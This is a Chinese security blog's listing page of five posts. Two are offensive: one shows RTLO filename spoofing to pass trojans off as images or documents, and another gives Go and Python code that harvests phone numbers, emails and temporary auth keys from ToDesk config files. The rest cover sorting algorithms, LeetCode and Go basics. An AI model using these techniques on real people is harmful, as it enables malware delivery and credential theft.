首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,537 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
5
篇与
的结果
2023-08-16
【技术分享】RTLO 伪装程序后缀名
简介Unicode RTLO(Right-to-Left Override)是Unicode字符编码中的一种特殊字符,字符的作用是改变文本的文字流方向,可以使原本从左向右的文字流变为从右向左,我们可以通过这种办法伪装恶意可执行程序,这种办法会有小小的弊端自己发现吧。后缀伪装首先把文件扩展给勾上,方便我们看文件后缀,这里我做了个简单的 exe 程序做演示(可以是木马程序)。然后我们对程序 重命名,注意光标的位置是在 .exe 的前面,这个时候我们就可以插入特殊字符了。我们输入 gnp 也就是 png 的字母反转,重命名好后就可以了。你就会发现,变成了 png 图片格式了,而且还可以运行,再看看任务管理器,哈哈哈 是不是挺意外的进程中直接跑 png,其实有很多小例子,比如:exe 改 bat,改 dll 都是可以被执行的,在任务管理器中都可以看到的(这里就不过多演示了)。scr // 可以显示软件图标 com // 不能显示软件图标 bat cmd // 不能显示软件图标可以发现在内容中会有 exe 字样,是不是感觉很敏感,不怕不怕,以上是我收集到了一些可执行后缀(推荐 scr)。Go 实现package main import ( "fmt" "os" ) func main() { var oldfile string = "Panda.scr" var newfile string = "Panda\xe2\x80\xaegnp.scr" err := os.Rename(oldfile, newfile) if err != nil { fmt.Println("incorrect file naming.", err) } else { fmt.Println("Successful file renaming!") } }Python 实现import os oldfile = "Panda.scr" newfile = "Pandagnp.scr" try: os.rename(oldfile, newfile) print("Successful file renaming!") except OSError as err: print("Incorrect file naming.", err)利用总结1.利用这个办法伪装木马程序,如:pdf,zip,png 等文件后缀。2.利用压缩包自解压执行的功能,配合 RLO 实现压缩包执行伪装。Tips:内嵌一个执行,比如打开伪装的程序,程序运行后木马上线,那么再打开内置的 pdf文档,就不会被怀疑了。
2023年08月16日
614 阅读
0 评论
37 点赞
2023-06-01
【信息溯源】Todesk | 向日葵信息溯源
简介在实际的攻防演练中,常常会出现追踪攻击来源并反制取证的情景,假设我们已经成功连上了目标主机,目标主机如果安装了Todesk,那么恭喜你可以通过查看Todesk目录下的 config.ini 文件来获取一些登录等相关信息。Todesk 配置文件downloadtimes 下载Todesk的时间updatePassTime 最近一次使用时间Version Todesk版本号clientid 客户端IDLoginPhone 手机号LoginEmail 邮箱账户只要登录过Todesk,它会把一些信息写入到根目录下的,config.ini配置文件中。这个跟版本没关系的,即使是最新版的Todesk,也会写到配置文件中,向日葵 配置文件向日葵,感兴趣的可以去看一下,里面也有一些信息。Go Todesk 第一版(默认路径)// main.go package main import ( "bufio" "fmt" "os" "strings" ) func main() { config_file := "C:/Program Files/ToDesk/config.ini" file, err := os.Open(config_file) if err != nil { fmt.Printf("Failed to read config file: %v\n", err) return } defer file.Close() config := make(map[string]string) scanner := bufio.NewScanner(file) for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if len(line) == 0 || strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") { continue } parts := strings.SplitN(line, "=", 2) if len(parts) != 2 { continue } key, value := strings.TrimSpace(parts[0]), strings.TrimSpace(parts[1]) config[key] = value } download_times := config["downloadtimes"] version := config["Version"] client_id := config["clientId"] temp_auth_pass_ex := config["tempAuthPassEx"] resolution := config["Resolution"] update_pass_time := config["updatePassTime"] private_data := config["PrivateData"] login_phone := config["LoginPhone"] login_email := config["LoginEmail"] fmt.Println("*********** 第一版 ***********") fmt.Printf("电子邮件账户:%s\n", login_email) fmt.Printf("手机号:%s\n", login_phone) fmt.Printf("下载时间:%s\n", download_times) fmt.Printf("最近一次使用ToDesk时间:%s\n", update_pass_time) fmt.Printf("当前屏幕尺寸:%s\n", resolution) fmt.Printf("Todesk版本号:%s\n", version) fmt.Printf("客户端ID:%s\n", client_id) fmt.Printf("私密数据:%s\n", private_data) fmt.Printf("临时认证密钥:%s\n", temp_auth_pass_ex) }你肯会说如果他没安装到默认路径怎么办呢?很简单以下是改进版自动查找路径。Go Todesk 第二版(自动搜索)// main.go package main import ( "bufio" "fmt" "os" "path/filepath" "strconv" "strings" ) const ( targetFilename = "config.ini" ) type ConfigInfo struct { DownloadTimes string Version string ClientID string TempAuthPass string Resolution string UpdatePassTime string PrivateData string LoginPhone string LoginEmail string } func visit(path string, info os.FileInfo, err error) error { if !info.IsDir() && info.Name() == targetFilename && strings.Contains(path, "ToDesk") { configFile, err := os.Open(path) if err != nil { fmt.Println(err) return nil } defer configFile.Close() configInfo := ConfigInfo{} scanner := bufio.NewScanner(configFile) for scanner.Scan() { line := scanner.Text() if strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") { continue } pair := strings.SplitN(line, "=", 2) if len(pair) != 2 { continue } key := strings.TrimSpace(pair[0]) value := strings.TrimSpace(pair[1]) switch key { case "downloadtimes": configInfo.DownloadTimes = value case "Version": configInfo.Version = value case "clientId": configInfo.ClientID = value case "tempAuthPassEx": configInfo.TempAuthPass = value case "Resolution": configInfo.Resolution = value case "updatePassTime": configInfo.UpdatePassTime = value case "PrivateData": configInfo.PrivateData = value case "LoginPhone": configInfo.LoginPhone = value case "LoginEmail": configInfo.LoginEmail = value default: } } fmt.Println("*********** 第一版 ***********") fmt.Printf("电子邮件账户:%s\n", configInfo.LoginEmail) fmt.Printf("手机号:%s\n", configInfo.LoginPhone) fmt.Printf("下载时间:%s\n", configInfo.DownloadTimes) fmt.Printf("最近一次使用ToDesk时间:%s\n", configInfo.UpdatePassTime) fmt.Printf("当前屏幕尺寸:%s\n", configInfo.Resolution) fmt.Printf("Todesk版本号:%s\n", configInfo.Version) fmt.Printf("客户端ID:%s\n", configInfo.ClientID) fmt.Printf("私密数据:%s\n", configInfo.PrivateData) fmt.Printf("临时认证密钥:%s\n", configInfo.TempAuthPass) os.Exit(0) } return nil } func isNumeric(s string) bool { _, err := strconv.ParseFloat(s, 64) return err == nil } func main() { driveLetters := []string{"C", "D", "E", "F", "G"} for _, driveLetter := range driveLetters { drivePath := fmt.Sprintf("%s:\\", driveLetter) err := filepath.Walk(drivePath, visit) if err != nil { fmt.Printf("访问 %s 目录时出错:%v\n", drivePath, err) } } }好啦,打包一下就能做一些骚操作了。(小声:自己发挥吧)Python 版本(自动搜索)import os import configparser target_filename = 'config.ini' target_strings = ['ToDesk'] drive_letters = ['C', 'D', 'E', 'F', 'G'] for drive_letter in drive_letters: drive_path = f"{drive_letter}:\\" for dirpath, dirnames, filenames in os.walk(drive_path): if target_filename in filenames and all(s in dirpath for s in target_strings): config_path = os.path.join(dirpath, target_filename) config = configparser.ConfigParser() config.read(config_path) download_times = config.get('ConfigInfo', 'downloadtimes') version = config.get('ConfigInfo', 'Version') client_id = config.get('ConfigInfo', 'clientId') temp_auth_pass = config.get('ConfigInfo', 'tempAuthPassEx') resolution = config.get('ConfigInfo', 'Resolution') update_pass_time = config.get('ConfigInfo', 'updatePassTime') private_data = config.get('ConfigInfo', 'PrivateData') login_phone = config.get('ConfigInfo', 'LoginPhone') login_email = config.get('ConfigInfo', 'LoginEmail') print(f"电子邮件账户:{login_email}") print(f"手机号:{login_phone}") print(f"下载时间:{download_times}") print(f"最近一次使用ToDesk时间:{update_pass_time}") print(f"当前屏幕尺寸:{resolution}") print(f"Todesk版本号:{version}") print(f"客户端ID:{client_id}") print(f"私密数据:{private_data}") print(f"临时认证密钥:{temp_auth_pass}") quit()运行效果
2023年06月01日
202 阅读
0 评论
14 点赞
2022-09-30
【技术分享】十大排序算法篇
排序算法分类非线性时间比较类排序:比较来绝定元素间的相对次序,时间复杂度不能突破O(nlogn)。所以称非线性时间比较类排序。线性时间非比较类排序:不通过比较来决定元素间的相对次序。可以突破基于比较排序的时间下界以线性时间运行,所以称为线性时间非比较类排序。排序算法概述常见的有 快速排序、归并排序、堆排序以及冒泡排序 都属于比较类排序算法。比较类排序是通过比较来决定元素间的相对次序,时间复杂度不能突破 O(nlogn),因此也称为非线性时间比较类排序。在冒泡排序之类的排序中,问题规模为 n,又因为需要比较 n 次,所以平均时间复杂度为 O(n²)。在归并排序、快速排序之类的排序中,问题规模通过分治法消减为 logn 次,所以时间复杂度平均 O(nlogn)。比较类排序的优势是,适用于各种规模的数据,也不在乎数据的分布,都能进行排序。可以说,比较排序适用于一切需要排序的情况。计数排序、基数排序、桶排序 则属于非比较类排序算法。非比较排序不通过比较来决定元素间的相对次序,而是通过确定每个元素之前,应该有多少个元素来排序。由于它可以突破基于比较排序的时间下界,以线性时间运行,因此称为线性时间非比较类排序。非比较排序只要确定每个元素之前的已有的元素个数即可,所有一次遍历即可解决。算法时间复杂度 O(n)。冒泡排序 (Bubble Sort)冒泡排序是一种简单的排序算法算法原理:重复地遍历待排序的序列,依次比较两个元素,如果它们的顺序错误就把它们交换过来。遍历序列的工作是重复地进行直到没有再需要交换为止,此时说明该序列已经排序完成。# 第一种 def Bubble_sort(nums): for j in range(len(nums)-1,0,-1): for i in range(j): if nums[i] > nums[i + 1]: nums[i], nums[i+1] = nums[i +1], nums[i] array = [5,9,1,3,0,7,6] Bubble_sort(array) print(array) # 第二种 array = [3,2,5,6,4,8] for i in range(0, len(array)-1): for j in range(0, len(array)-1): if array[j] > array[j+1]: array[j], array[j+1] = array[j+1], array[j] print(array) # 第三种 array = [3,2,5,6,4,8] res = [ array.pop(array.index(min(array))) for i in range(len(array)) ] print(res)快速排序(Quick Sort)算法原理:快速排序使用分治法(Divide and conquer)策略来把一个序列分为较小和较大的 2 个子序列,然后递回地排序两个子序列。def partition(li,left,right): tmp = li[left] while left < right: while left < right and li[right] >= tmp: #从右边找比tmp小的数 right -= 1 #继续从右往左查找 li[left] = li[right] #把右边的值写到左边空位上 while left < right and li[left] <= tmp: left += 1 li[right] = li[left] #把左边的值写到右边空位上 li[left] = tmp #把tmp归位 return left def quick_sort(li,left,right): if left < right :#至少两个元素 mid = partition(li,left,right) quick_sort(li,left,mid-1) quick_sort(li,mid+1,right) li = [5,7,4,6,3,1,2,9,8] quick_sort(li,0,len(li)-1) print(li)选择排序(Selection Sort)算法原理:首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。重复第 2 步,直到所有元素均排序完毕。def selection_sort(num_list): length = len(num_list) if length <= 1: return num_list for j in range(length): # 假设第一个元素为最小元素 min_num_index = j # 遍历未排序区域元素,以此和未排序区域的第一个元素做对比 for i in range(j+1, length): if num_list[i] < num_list[min_num_index]: min_num_index = i # 交换位置 num_list[min_num_index], num_list[j] = num_list[j], num_list[min_num_index] return num_list array = [1, 3, 2, 6, 4, 12, 33, 5, 25] print(selection_sort(array))插入排序(Insertion Sort)算法原理:从第一个元素开始,该元素可以认为已经被排序;取出下一个元素,在已经排序的元素序列中从后向前扫描;如果该元素(已排序)大于新元素,将该元素移到下一位置;重复步骤 3,直到找到已排序的元素小于或者等于新元素的位置;将新元素插入到该位置后;重复步骤 2~5。def insert_sort(tg): for i in range(1, len(tg)): for j in range(i, 0, -1): if tg[j] < tg[j-1]: tg[j-1], tg[j] = tg[j], tg[j-1] else: break array = [8,7,5,4,6,3,1] insert_sort(array) print(array)归并排序(Merge Sort)算法原理:如果输入内只有一个元素,则直接返回,否则将长度为 n 的输入序列分成两个长度为 n/2 的子列;分别对这两个子序列进行归并排序,使子序列变为有序状态;设定两个指针,分别指向两个已经排序子序列的起始位置;比较两个指针所指向的元素,选择相对小的元素放入到合并空间(用于存放排序结果),并移动指针到下一位置;重复步骤 3 ~4 直到某一指针达到序列尾;将另一序列剩下的所有元素直接复制到合并序列尾def merge(left, right): # 合并两个有序列表 res = [] while len(left) > 0 and len(right) > 0: if left[0] < right[0]: res.append(left.pop(0)) else: res.append(right.pop(0)) if left: res.extend(left) if right: res.extend(right) return res def mergeSort(arr): # 归并函数 n = len(arr) if n < 2: return arr middle = n // 2 left = arr[:middle] # 取序列左边部分 right = arr[middle:]# 取序列右边部分 # 对左边部分序列递归调用归并函数 left_sort = mergeSort(left) # 对右边部分序列递归调用归并函数 right_sort = mergeSort(right) # return merge(left_sort, right_sort) array = [8,7,5,4,6,3,1] print(mergeSort(array))计数排序(Counting Sort)算法原理:找出数组中的最大值 max、最小值 min;创建一个新数组 C,其长度是 max-min+1,其元素默认值都为 0;遍历原数组 A 中的元素 A[i],以 A[i]-min 作为 C 数组的索引,以 A[i] 的值在 A 中元素出现次数作为 C[A[i]-min] 的值;对 C 数组变形,新元素的值是该元素与前一个元素值的和,即当 i>1 时 C[i] = C[i] + C[i-1];创建结果数组 R,长度和原始数组一样。从后向前遍历原始数组 A 中的元素 A[i],使用 A[i] 减去最小值 min 作为索引,在计数数组C 中找到对应的值 C[A[i]-min],C[A[i]-min]-1 就是 A[i] 在结果数组 R 中的位置,做完上述这些操作,将 count[A[i]-min] 减小 1。def count_sort(nums): # 最大值-最小值+1的数组,初始值为0 bucket = [0] * (max(nums) - min(nums) + 1) # 统计原数组中每个元素出现的个数,存储在新开辟的数组中 for num in nums: bucket[num - min(nums)] += 1 # nums的下标 i = 0 # 根据每个元素出现的次数,按照新开辟数组的元素从小到大依次填充到原来的数组中 for j in range(len(bucket)): while bucket[j] > 0: nums[i] = j + min(nums) bucket[j] -= 1 i += 1 return nums array = [8,7,5,4,6,3,1] print(count_sort(array))桶排序(Bucket Sort)设置一个 BucketSize,作为每个桶所能放置多少个不同数值;遍历输入数据,并且把数据依次映射到对应的桶里去;对每个非空的桶进行排序,可以使用其它排序方法,也可以递归使用桶排序;从非空桶里把排好序的数据拼接起来。def bucketSort(nums): # 选择一个最大的数 max_num = max(nums) # 创建一个元素全是0的列表, 当做桶 bucket = [0] * (max_num + 1) # 把所有元素放入桶中, 即把对应元素个数加一 for i in nums: bucket[i] += 1 # 存储排序好的元素 sort_nums = [] # 取出桶中的元素 for j in range(len(bucket)): if bucket[j] != 0: for y in range(bucket[j]): sort_nums.append(j) return sort_nums array = [8,7,5,4,6,3,1] print(bucketSort(array))基数排序(Radix Sort)算法原理:取得数组中的最大数,并取得位数,即为迭代次数 N(例如:数组中最大数值为 1000,则 N=4);A 为原始数组,从最低位开始取每个位组成 radix 数组;对 radix 进行计数排序(利用计数排序适用于小范围数的特点);将 radix 依次赋值给原数组;重复 2~4 步骤 N 次def radix_sort(s): i = 0 # 记录当前正在排拿一位,最低位为1 max_num = max(s) # 最大值 j = len(str(max_num)) # 记录最大值的位数 while i < j: bucket_list =[[] for _ in range(10)] #初始化桶数组 for x in s: bucket_list[int(x / (10**i)) % 10].append(x) # 找到位置放入桶数组 s.clear() for x in bucket_list: # 放回原序列 for y in x: s.append(y) i += 1 array = [8,7,5,4,6,3,1] radix_sort(array) print(array)希尔排序(Shell Sort)算法原理:选择一个增量序列 {t1, t2, …, tk},其中 (ti>tj, i<j, tk=1);按增量序列个数 k,对序列进行 k 趟排序;每趟排序,根据对应的增量 t,将待排序列分割成若干长度为 m 的子序列,分别对各子表进行直接插入排序。仅增量因子为 1 时,整个序列作为一个表来处理,表长度即为整个序列的长度。def ShellSort(nums): step = len(nums)//2 #初始化增量为数组长度的一半 while step > 0: #增量必须是大于0的整数 for i in range(step,len(nums)): #遍历需要进行插入排序的数 ind = i while ind >= step and nums[ind] < nums[ind-step]: #对每组进行插入排序 nums[ind],nums[ind-step] = nums[ind-step],nums[ind] ind -= step step //= 2 #增量缩小一半 return nums array = [8,7,5,4,6,3,1] ShellSort(array) print(array)堆排序(Heapsort)创建一个堆 H[0……n-1];把堆首(最大值)和堆尾互换;把堆的尺寸缩小 1,并调用 shift_down(0),目的是把新的数组顶端数据调整到相应位置;重复步骤 2,直到堆的尺寸为 1。import math def buildMaxHeap(arr): for i in range(math.floor(len(arr)/2),-1,-1): heapify(arr,i) def heapify(arr, i): left = 2*i+1 right = 2*i+2 largest = i if left < arrLen and arr[left] > arr[largest]: largest = left if right < arrLen and arr[right] > arr[largest]: largest = right if largest != i: swap(arr, i, largest) heapify(arr, largest) def swap(arr, i, j): arr[i], arr[j] = arr[j], arr[i] def heapSort(arr): global arrLen arrLen = len(arr) buildMaxHeap(arr) for i in range(len(arr)-1,0,-1): swap(arr,0,i) arrLen -=1 heapify(arr, 0) return arr array = [8,7,5,4,6,3,1] print(heapSort(array)){dotted startColor="#ff6c6c" endColor="#1989fa"/}以下排序不在内TimSortdef binary_search(lst, item, start, end): if start == end: return start if lst[start] > item else start + 1 if start > end: return start mid = (start + end) // 2 if lst[mid] < item: return binary_search(lst, item, mid + 1, end) elif lst[mid] > item: return binary_search(lst, item, start, mid - 1) else: return mid def insertion_sort(lst): length = len(lst) for index in range(1, length): value = lst[index] pos = binary_search(lst, value, 0, index - 1) lst = lst[:pos] + [value] + lst[pos:index] + lst[index + 1 :] return lst def merge(left, right): if not left: return right if not right: return left if left[0] < right[0]: return [left[0]] + merge(left[1:], right) return [right[0]] + merge(left, right[1:]) def tim_sort(lst): """ >>> tim_sort("Python") ['P', 'h', 'n', 'o', 't', 'y'] >>> tim_sort((1.1, 1, 0, -1, -1.1)) [-1.1, -1, 0, 1, 1.1] >>> tim_sort(list(reversed(list(range(7))))) [0, 1, 2, 3, 4, 5, 6] >>> tim_sort([3, 2, 1]) == insertion_sort([3, 2, 1]) True >>> tim_sort([3, 2, 1]) == sorted([3, 2, 1]) True """ length = len(lst) runs, sorted_runs = [], [] new_run = [lst[0]] sorted_array = [] i = 1 while i < length: if lst[i] < lst[i - 1]: runs.append(new_run) new_run = [lst[i]] else: new_run.append(lst[i]) i += 1 runs.append(new_run) for run in runs: sorted_runs.append(insertion_sort(run)) for run in sorted_runs: sorted_array = merge(sorted_array, run) return sorted_array def main(): lst = [5, 9, 10, 3, -4, 5, 178, 92, 46, -18, 0, 7] sorted_lst = tim_sort(lst) print(sorted_lst) if __name__ == "__main__": main()Stoogesortdef stooge_sort(arr): """ Examples: >>> stooge_sort([18.1, 0, -7.1, -1, 2, 2]) [-7.1, -1, 0, 2, 2, 18.1] >>> stooge_sort([]) [] """ stooge(arr, 0, len(arr) - 1) return arr def stooge(arr, i, h): if i >= h: return # If first element is smaller than the last then swap them if arr[i] > arr[h]: arr[i], arr[h] = arr[h], arr[i] # If there are more than 2 elements in the array if h - i + 1 > 2: t = (int)((h - i + 1) / 3) # Recursively sort first 2/3 elements stooge(arr, i, (h - t)) # Recursively sort last 2/3 elements stooge(arr, i + t, (h)) # Recursively sort first 2/3 elements stooge(arr, i, (h - t)) if __name__ == "__main__": user_input = input("Enter numbers separated by a comma:\n").strip() unsorted = [int(item) for item in user_input.split(",")] print(stooge_sort(unsorted))
2022年09月30日
478 阅读
0 评论
52 点赞
2022-09-28
【技术分享】Leetcode 解题
两数之和给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。你可以假设每种输入只会对应一个答案。但是,数组中同一个元素在答案里不能重复出现。你可以按任意顺序返回答案。示例 1:输入:nums = [2,7,11,15], target = 9输出:[0,1]解释:因为 nums[0] + nums[1] == 9 ,返回 [0, 1]示例 2:输入:nums = [3,2,4], target = 6输出:[1,2]示例 3:输入:nums = [3,3], target = 6输出:[0,1]Go// 利用hash表进行求解 package main import "fmt" func twoSum(nums []int, target int) []int { hash := make(map[int]int) for i := 0; i < len(nums); i++ { if index, ok := hash[target-nums[i]]; ok { return []int{index, i} } hash[nums[i]] = i } return nil } func main() { array := []int{2, 7, 11, 15} fmt.Println(twoSum(array[:], 9)) }Python3class Solution(object): def twoSum(self, nums, target): dic = {} for i, num in enumerate(nums): if num in dic: return [dic[num], i] else: dic[target - num] = i判断回文数给你一个整数 x ,如果 x 是一个回文整数,返回 true ;否则,返回 false 。回文数是指正序(从左向右)和倒序(从右向左)读都是一样的整数。例如,121 是回文,而 123 不是。 示例 1:输入:x = 121输出:true示例 2:输入:x = -121输出:false解释:从左向右读, 为 -121 。 从右向左读, 为 121- 。因此它不是一个回文数。示例 3:输入:x = 10输出:false解释:从右向左读, 为 01 。因此它不是一个回文数。提示:-231 <= x <= 231 - 1Gopackage main import "fmt" func isPalindrome(x int) bool { if 0 > x || (0 == x%10 && 0 != x) { return false } var rever int for x > rever { rever = rever*10 + x%10 x /= 10 } return (x == rever) || (x == rever/10) } func main() { fmt.Println(isPalindrome(1222221)) }Python3class Solution: def isPalindrome(self, x: int) -> bool: return str(x) == str(x)[::-1]删除有序数组中的重复项给你一个 升序排列 的数组 nums ,请你 原地 删除重复出现的元素,使每个元素 只出现一次 ,返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。由于在某些语言中不能改变数组的长度,所以必须将结果放在数组nums的第一部分。更规范地说,如果在删除重复项之后有 k 个元素,那么 nums 的前 k 个元素应该保存最终结果。将最终结果插入 nums 的前 k 个位置后返回 k 。不要使用额外的空间,你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的条件下完成。判题标准:系统会用下面的代码来测试你的题解:int[] nums = [...]; // 输入数组 int[] expectedNums = [...]; // 长度正确的期望答案 int k = removeDuplicates(nums); // 调用 assert k == expectedNums.length; for (int i = 0; i < k; i++) { assert nums[i] == expectedNums[i]; }如果所有断言都通过,那么您的题解将被 通过。示例 1:输入:nums = [1,1,2]输出:2, nums = [1,2,_]解释:函数应该返回新的长度 2 ,并且原数组 nums 的前两个元素被修改为 1, 2 。不需要考虑数组中超出新长度后面的元素。示例 2:输入:nums = [0,0,1,1,1,2,2,3,3,4]输出:5, nums = [0,1,2,3,4]解释:函数应该返回新的长度 5 , 并且原数组 nums 的前五个元素被修改为 0, 1, 2, 3, 4 。不需要考虑数组中超出新长度后面的元素。Gopackage main import "fmt" func removeDuplicates(nums []int) int { slow, fast := 1, 1 for fast < len(nums) { if nums[fast-1] != nums[fast] { nums[slow] = nums[fast] slow++ } fast++ } return slow } func main() { var array = []int{1, 2, 3, 4, 4, 6, 6, 8, 8, 9} fmt.Println(removeDuplicates(array)) }Python3class Solution: def removeDuplicates(self, nums: List[int]) -> int: slow = fast = 0 while fast < len(nums): if nums[slow] != nums[fast]: slow += 1 nums[slow] = nums[fast] fast += 1 return slow + 1
2022年09月28日
72 阅读
0 评论
29 点赞
2022-07-11
【每日随记】 Go语言学习笔记
环境变量GOROOT:GOROOT 指向的是 Go 的安装路径。当你导入 Go 内部库时,Go 会在 GOROOT 路径下寻找相关的库文件。GOARCH:GOARCH 表示目标机器的处理器架构,例如 386、amd64 或 arm。这意味着你可以编译适用于不同处理器架构的 Go 程序。GOOS:GOOS 表示目标机器的操作系统,例如 darwin、freebsd、linux 或 windows。这允许你编译适用于不同操作系统的 Go 程序。GOPATH:GOPATH 是一个路径,用来存放第三方库和项目的工作空间。bin 目录存放编译后生成的可执行文件。pkg 目录存放编译后的包/库的归档文件。src 目录存放项目和库的源文件。在 Go 中,并没有项目的概念,而是有 包 这样的概念。在 GOPATH 目录中,第一个路径是默认的包目录,意味着使用 go get 下载的包都会存放在第一个路径的 src 目录下。而在使用 go install 编译时,生成的可执行文件会存放在相应 GOPATH 的 bin 目录下。Go 标准文档常见命令go mod init // 初始化go.mod go mod tidy // 更新依赖文件 go mod download // 下载依赖文件 go mod vendor // 将依赖转移至本地的vendor文件 go mod edit // 手动修改依赖文件 go mod graph // 打印依赖图 go mod verify // 校验依赖 go mod why // 解释为什么需要依赖设置代理go env -w GO111MODULE=on go env -w GOPROXY=https://goproxy.cn,direct设置32位go env -w GOARCH=386 // 设置32位 go env -w GOARCH=amd64 // 设置64位在Go语言中,整数类型(int 和 uint 系列)非常丰富,能够根据不同的需求选择适当的整数类型。相比于C/C++中的int类型,Go提供了更多细化的类型,以适应不同位数和符号要求的整数值。下面是对Go语言中各int类型的总结:整数类型整数类型:int8:占用1字节,取值范围为 -128 到 127。int16:占用2字节,取值范围为 -32768 到 32767。int32:占用4字节,取值范围为 -2147483648 到 2147483647。int64:占用8字节,取值范围为 -9223372036854775808 到 9223372036854775807。int:在64位系统上通常为64位,在32位系统上为32位。Go会根据平台自动确定其字节大小。无符号整数类型:uint8:占用1字节,取值范围为 0 到 255。uint16:占用2字节,取值范围为 0 到 65535。uint32:占用4字节,取值范围为 0 到 4294967295。uint64:占用8字节,取值范围为 0 到 18446744073709551615。uint:与int类似,大小与平台有关,64位系统上为64位,32位系统上为32位。在给出的Go语言代码中,我们可以看到如何使用Go语言的整数类型以及类型转换。整数类型范围代码使用math包中的常量,输出了Go语言中各整数类型的最小值和最大值:fmt.Println("int8:", math.MinInt8, "~", math.MaxInt8) fmt.Println("int16:", math.MinInt16, "~", math.MaxInt16) fmt.Println("int32:", math.MinInt32, "~", math.MaxInt32) fmt.Println("int64:", math.MinInt64, "~", math.MaxInt64)推导类型字节大小通过n := 1234567890,Go语言会根据值推导出变量n的类型,输出该类型的信息:fmt.Printf("n := 1234567890 的默认类型为:%T\n", n) fmt.Println("int类型的字节数为:", unsafe.Sizeof(n))在这个例子中,n的类型会根据它的值推导为int(在64位系统上是int64),并通过unsafe.Sizeof函数输出字节大小。类型转换Go语言支持类型转换,但对于不同类型之间的转换可能会发生截断或溢出。代码示范了将int32类型的变量a转换为其他整数类型:var a int32 = 987654321 b := int8(a) // 转换为int8,发生数值截断 c := int16(a) // 转换为int16,发生数值截断 d := int64(a) // 转换为int64在这种转换中,如果值超出了目标类型的取值范围,就会发生截断,导致数据丢失。操作注册表package main import ( "golang.org/x/sys/windows/registry" ) func main() { key, exists, _ := registry.CreateKey(registry.CURRENT_USER, `SOFTWARE\Hello Go\`, registry.ALL_ACCESS) defer key.Close() // 判断是否已经存在了 if exists { println(`键已存在`) } else { println(`新建注册表键`) } // 写入:32位整形值 key.SetDWordValue(`32位整形值`, uint32(123456)) // 写入:64位整形值 key.SetQWordValue(`64位整形值`, uint64(123456)) // 写入:字符串 key.SetStringValue(`字符串`, `hello`) // 写入:字符串数组 key.SetStringsValue(`字符串数组`, []string{`hello`, `world`}) // 写入:二进制 key.SetBinaryValue(`二进制`, []byte{0x11, 0x22}) // 读取:字符串 s, _, _ := key.GetStringValue(`字符串`) println(s) // 读取:一个项下的所有子项 keys, _ := key.ReadSubKeyNames(0) for _, key_subkey := range keys { // 输出所有子项的名字 println(key_subkey) } // 创建:子项 subkey, _, _ := registry.CreateKey(key, `子项`, registry.ALL_ACCESS) defer subkey.Close() // 删除:子项 // 该键有子项,所以会删除失败 // 没有子项,删除成功 registry.DeleteKey(key, `子项`) }网络请求HTTP 协议定义了多种请求方法,用于向服务器发送请求。在日常开发中,以下是常用的五种请求方法及其作用:方法描述GET请求指定的页面信息,并返回实体主体。POST向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST 请求可能会导致新的资源的建立和/或已有资源的修改。PUT从客户端向服务器传送的数据取代指定的文档的内容。DELETE请求服务器删除指定的页面。PATCH是对 PUT 方法的补充,用来对已知资源进行局部更新。GET 请求resp, err := http.Get("http://localhost:8080/get") if err != nil { log.Printf("get请求失败 error: %+v", err) return } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Printf("读取Body失败 error: %+v", err) return } log.Println(string(body))http.Get 发送 GET 请求,获取指定 URL 的响应。POST 请求resp, err := http.Post("http://localhost:8080/post", "text/json;charset=utf-8", strings.NewReader("{\"name\":\"jack\"}")) if err != nil { log.Printf("post请求失败 error: %+v", err) return } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Printf("读取Body失败 error: %+v", err) return } log.Println(string(body))http.Post 发送 POST 请求,strings.NewReader 用于构造请求体。POSTForm 请求resp, err := http.PostForm("http://localhost:8080/postForm", url.Values{"name": {"jack"}}) if err != nil { log.Printf("postForm请求失败 error: %+v", err) return } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Printf("读取Body失败 error: %+v", err) return } log.Println(string(body))http.PostForm 用于发送表单数据请求,数据以 url.Values 形式传递。HEAD 请求resp, err := http.Head("http://localhost:8080/head") if err != nil { log.Printf("Head请求失败 error: %+v", err) return } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Printf("读取Body失败 error: %+v", err) return } log.Println(string(body))http.Head 请求资源的头信息,不返回响应体。复杂请求(POST 请求 + 请求头)type User struct { Id int `json:"id"` Name string `json:"name"` } user := User{Id: 1, Name: "bob"} jsonBytes, err := json.Marshal(user) client := &http.Client{} request, err := http.NewRequest("POST", "http://localhost:8080/complex?env=dev", bytes.NewReader(jsonBytes)) request.Header.Add("Cookie", "123") request.Header.Add("Content-Type", "application/json;charset=utf-8") request.Header.Add("Token", "456") client.Timeout = 1 * time.Minute resp, err := client.Do(request) defer 